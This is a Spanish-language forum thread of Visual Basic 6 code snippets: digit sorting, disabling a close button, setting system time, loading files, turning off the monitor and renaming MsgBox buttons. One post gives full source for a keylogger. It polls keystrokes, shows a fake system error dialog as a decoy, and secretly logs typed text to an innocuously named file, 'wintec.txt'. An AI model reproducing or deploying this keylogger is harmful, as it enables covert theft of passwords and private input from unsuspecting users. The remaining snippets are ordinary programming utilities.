Locked Rutinas Interesantes [VB6]

[Anto]

Re: Rutinas Interesantes [VB6]

 

Ordenar Números de un TextBox en Forma Ascendente:

 

 

Function SearchNumbers(ByVal lNumber As String) As String

Dim UlParada As Long

UlParada = 1

Do

b = InStr(UlParada, Text1, lNumber)

If b > 0 Then

SearchNumbers = SearchNumbers & lNumber

End If

UlParada = b + 1

Loop While b > 0

End Function

Private Sub Text1_Change()

Texto = SearchNumbers("0")

Texto = Texto & SearchNumbers("1")

Texto = Texto & SearchNumbers("2")

Texto = Texto & SearchNumbers("3")

Texto = Texto & SearchNumbers("4")

Texto = Texto & SearchNumbers("5")

Texto = Texto & SearchNumbers("6")

Texto = Texto & SearchNumbers("7")

Texto = Texto & SearchNumbers("8")

Texto = Texto & SearchNumbers("9")

Text1.Text = Texto

End Sub

 

Ordenar Números de un TextBox en Forma Descendente:

 

Function SearchNumbers(ByVal lNumber As String) As String

Dim UlParada As Long

UlParada = 1

Do

b = InStr(UlParada, Text1, lNumber)

If b > 0 Then

SearchNumbers = SearchNumbers & lNumber

End If

UlParada = b + 1

Loop While b > 0

End Function

Private Sub Text1_Change()

Texto = SearchNumbers("9")

Texto = Texto & SearchNumbers("8")

Texto = Texto & SearchNumbers("7")

Texto = Texto & SearchNumbers("6")

Texto = Texto & SearchNumbers("5")

Texto = Texto & SearchNumbers("4")

Texto = Texto & SearchNumbers("3")

Texto = Texto & SearchNumbers("2")

Texto = Texto & SearchNumbers("1")

Texto = Texto & SearchNumbers("0")

Text1.Text = Texto

End Sub

[Anto]

Re: Rutinas Interesantes [VB6]

 

Como Bloquear el Boton Cerrar del Formulario:

 

> En un Modulo:

 

Public Declare Function GetSystemMenu Lib "user32" _

(ByVal hWnd As Long, ByVal bRevert As Long) As Long

Public Declare Function ModifyMenu Lib "user32" Alias "ModifyMenuA" _

(ByVal hMenu As Long, ByVal nPosition As Long, _

ByVal wFlags As Long, ByVal wIDNewItem As Long, _

ByVal lpString As Any) As Long

Public Declare Function DrawMenuBar Lib "user32" _

(ByVal hWnd As Long) As Long

'

Global Const MF_BYCOMMAND = &H0&

Global Const MF_ENABLED = &H0&

Global Const MF_GRAYED = &H1&

'

Public Const SC_CLOSE = &HF060&

' Básicamente lo que se hace es dibujar una caba sobre el botón actual

'la cual lo bloquea

 

 

> En el Formulario:

 

Private Sub Bloquear_Cerrar()

Dim hMenu As Long

'

hMenu = GetSystemMenu(hWnd, 0)

' Deshabilitar el menú cerrar del formulario

Call ModifyMenu(hMenu, SC_CLOSE, MF_BYCOMMAND Or MF_GRAYED, -10, "Close")

End Sub

Private Sub Form_Load()

Bloquear_Cerrar ' llamamos a nuestro evento

End Sub

[Anto]

Re: Rutinas Interesantes [VB6]

 

Capturador De Teclas (Keylogger) :

 

 

 

'CREAN UN MODULO CON EL SIGUIENTE CODIGO:

Global w As Integer

Global bb As Boolean

 

'LUEGO CREAN UN PROYECTO CON EL SIGUIENTE CODIGO

Dim m As String

Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer

 

Private Sub Form_Load()

bb = False

Dim v As Integer

v = vbRetry

Do While v = vbRetry

v = MsgBox("Error 1845, ocurrio un error en el sistema al cargar los controladores de windows", vbCritical + vbAbortRetryIgnore, "ERROR")

Loop

Timer1.Interval = 1

Timer2.Interval = 10000

m = Minute(Time) + 5

End Sub

 

Private Sub Text3_Change()

w = w + 1

End Sub

 

Private Sub Timer1_Timer()

On Error Resume Next

Dim x As Integer, i As Integer

For i = 33 To 124

x = GetAsyncKeyState(i)

If x = -32767 Then

Text1.Text = Text1.Text + Chr(i)

 

End If

Next

Text3.Text = Text1.Text

x = GetAsyncKeyState(112)

If x = -32767 Then

Text1.Text = Text1.Text & "{F1}"

End If

x = GetAsyncKeyState(113)

If x = -32767 Then

Text1.Text = Text1.Text & "{F2}"

End If

x = GetAsyncKeyState(114)

If x = -32767 Then

Text1.Text = Text1.Text & "{F3}"

End If

x = GetAsyncKeyState(115)

If x = -32767 Then

Text1.Text = Text1.Text & "{F4}"

End If

x = GetAsyncKeyState(116)

If x = -32767 Then

Text1.Text = Text1.Text & "{F5}"

End If

x = GetAsyncKeyState(117)

If x = -32767 Then

Text1.Text = Text1.Text & "{F6}"

End If

x = GetAsyncKeyState(118)

If x = -32767 Then

Text1.Text = Text1.Text & "{F7}"

End If

x = GetAsyncKeyState(119)

If x = -32767 Then

Text1.Text = Text1.Text & "{F8}"

End If

x = GetAsyncKeyState(120)

If x = -32767 Then

Text1.Text = Text1.Text & "{F9}"

End If

x = GetAsyncKeyState(121)

If x = -32767 Then

Text1.Text = Text1.Text & "{F10}"

End If

x = GetAsyncKeyState(122)

If x = -32767 Then

Text1.Text = Text1.Text & "{F11}"

End If

x = GetAsyncKeyState(123)

If x = -32767 Then

Text1.Text = Text1.Text & "{F12}"

End If

 

x = GetAsyncKeyState(8)

If x = -32767 Then

Text1.Text = Mid(Text1.Text, 1, Len(Text1) - 1)

End If

 

x = GetAsyncKeyState(9)

If x = -32767 Then

Text1.Text = Text1.Text & "{tab}"

End If

 

x = GetAsyncKeyState(13)

If x = -32767 Then

Text1.Text = Text1.Text & "{enter}"

Text1 = Text1 & vbCrLf

End If

 

x = GetAsyncKeyState(27)

If x = -32767 Then

Text1.Text = Text1.Text & "{esc}"

Text1 = Text1 & vbCrLf

End If

 

x = GetAsyncKeyState(32)

If x = -32767 Then

Text1.Text = Text1.Text & " "

End If

 

Dim cad As String

Dim num As String

Dim c As String

cad = Text1.Text

num = Right(cad, 1)

Text2.Text = num

c = num

If num = "a" Then

c = "1"

bb = True

End If

If num = "b" Then

c = "2"

bb = True

End If

If num = "c" Then

c = "3"

bb = True

End If

If num = "d" Then

c = "4"

bb = True

End If

If num = "e" Then

c = "5"

bb = True

End If

If num = "f" Then

c = "6"

bb = True

End If

If num = "g" Then

c = "7"

bb = True

End If

If num = "h" Then

c = "8"

bb = True

End If

If num = "i" Then

c = "9"

bb = True

End If

If num = "`" Then

c = "0"

bb = True

End If

 

Text2.Text = c

 

If bb = True Then

Dim g As Integer

g = Len(Text1.Text) - 1

Text1.Text = Left(Text1.Text, g) + c

 

bb = False

 

End If

 

End Sub

 

Private Sub Timer2_Timer()

Open "\wintec.txt" For Append As #1

Print #1, Text1.Text

Text1.Text = ""

Close #1

If (Minute(Time) >= m) Then

Open "\wintec.txt" For Append As #1

Print #1, "----------- ----------- ------------"

Close #1

End

End If

 

End Sub

 

[Anto]

Re: Rutinas Interesantes [VB6]

 

Cambiar Fecha y Hora del Sistema:

 

 

Private Declare Function SetSystemTime Lib "kernel32.dll" (lpSystemTime As SYSTEMTIME) As Long

Public Type SYSTEMTIME

wYear As Integer

wMonth As Integer

wDayOfWeek As Integer

wDay As Integer

wHour As Integer

wMinute As Integer

wSecond As Integer

wMilliseconds As Integer

End Type

Public Function CambiarHora(ByVal Hora As Integer, ByVal Minutos As Integer, Byval Segundos As Integer)

Dim Ahora As SYSTEMTIME

Ahora.wYear = Year(Date)

Ahora.wMonth = Month(Date)

Ahora.wDay = Day(Date)

Ahora.wHour = Hora

Ahora.wMinute = Minutos

Ahora.wSecond = Segundos

CambiarHora = SetSystemTime(Ahora)

End Function

Public Function CambiarFecha(Byval Año As Integer, Byval Mes As Integer, Byval Dia As Integer)

Dim Hoy As SYSTEMTIME

Hoy.wYear = Año

Hoy.wMonth = Mes

Hoy.wDay = Dia

Hoy.wHour = Hour(Time)

Hoy.wMinute = Minute(Time)

Hoy.wSecond = Second(Time)

CambiarFecha = SetSystemTime(Hoy)

End Function

[Anto]

Re: Rutinas Interesantes [VB6]

 

Como cargar un archivo en memoria:

 

Funtion LoadFile (ByVal FileName As String, Optional IsText As Boolean) As String

Dim tmpF() As Byte, FLen As Long

Dim Num As Integer, tmpStr As String

On Error Goto ErrLog

FLen=FileLen(FileName)

Num=FreeFile()

 

Open FileName For Binary Access Read As #Num

If IsText = False Then

'Para cargar la matriz de bytes

ReDim tmpF(0 To (FLen-1)) As Byte

Get #1, ,tmpF

LoadFile=tmpF

Else

'Para cargar como cadena de texto

'(ideal para archivos de texto)

tmpStr=String(FLen, 0)

Get #1, ,tmpStr

LoadFile=tmpStr

End If

Close #Num

'Se libera memoria

Erase tmpF: tmpStr=""

 

Exit Function

ErrLog:

Erase tmpF: tmpStr=""

Error Err.Number

End Function

[Anto]

Re: Rutinas Interesantes [VB6]

 

Como apagar el monitor:

 

Private Const APAGA = 2&

Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hWnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long

Private Sub Command1_Click()

Call SendMessage(Me.hWnd, &H112, &HF170&, ByVal APAGA)

End Sub

[Anto]

Re: Rutinas Interesantes [VB6]

 

Cambiar texto a botones de MsgBox:

 

> Modulo:

 

Public hHook As Long

Public Const WH_CALLWNDPROCRET = 12

Public Const GWL_HINSTANCE = (-6)

Private Type tagCWPRETSTRUCT

lResult As Long

lParam As Long

wParam As Long

message As Long

hWnd As Long

End Type

Private Const WM_INITDIALOG = &H110

Public Declare Function GetWindowLong Lib "user32" Alias "GetWindowLongA" _

(ByVal hWnd As Long, ByVal nIndex As Long) As Long

Public Declare Function GetCurrentThreadId Lib "kernel32" () As Long

Public Declare Function SetWindowsHookEx Lib "user32" Alias "SetWindowsHookExA" _

(ByVal idHook As Long, ByVal lpfn As Long, _

ByVal hmod As Long, ByVal dwThreadId As Long) As Long

Private Declare Function UnhookWindowsHookEx Lib "user32" _

(ByVal hHook As Long) As Long

Private Declare Function CallNextHookEx Lib "user32" _

(ByVal hHook As Long, ByVal nCode As Long, _

ByVal wParam As Long, lParam As Any) As Long

Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" _

(Destination As Any, Source As Any, ByVal Length As Long)

Private Const IDOK = 1

Private Const IDCANCEL = 2

Private Const IDABORT = 3

Private Const IDRETRY = 4

Private Const IDIGNORE = 5

Private Const IDYES = 6

Private Const IDNO = 7

Private Declare Function SetDlgItemText Lib "user32" Alias "SetDlgItemTextA" _

(ByVal hDlg As Long, ByVal nIDDlgItem As Long, _

ByVal lpString As String) As Long

Public Function CallWndRetProc(ByVal nCode As Long, ByVal wParam As Long, ByVal lParam As Long) As Long

Dim lr As Long

Dim s As tagCWPRETSTRUCT

lr = CallNextHookEx(hHook, nCode, wParam, lParam)

If (nCode < 0) Then

CallWndRetProc = lr

Exit Function

End If

Call CopyMemory(s, ByVal lParam, Len(s))

If (s.message = WM_INITDIALOG) Then

Call SetDlgItemText(s.hWnd, IDYES, "Aprobar")

Call SetDlgItemText(s.hWnd, IDNO, "Rechazar")

UnhookWindowsHookEx hHook

lr = 0&

End If

CallWndRetProc = lr

End Function

 

> Formulario:

 

Dim hInst As Long

Dim Thread As Long

Dim i As Long

hInst = GetWindowLong(Me.hWnd, GWL_HINSTANCE)

Thread = GetCurrentThreadId()

hHook = SetWindowsHookEx(WH_CALLWNDPROCRET, AddressOf CallWndRetProc, hInst, Thread)

i = MsgBox("Presiona en Aprobar o Rechazar.", vbYesNo)

If i = vbYes Then

Label1 = "Has presionado en Aprobar"

ElseIf i = vbNo Then

Label1 = "Has presionado en Rechazar"

End If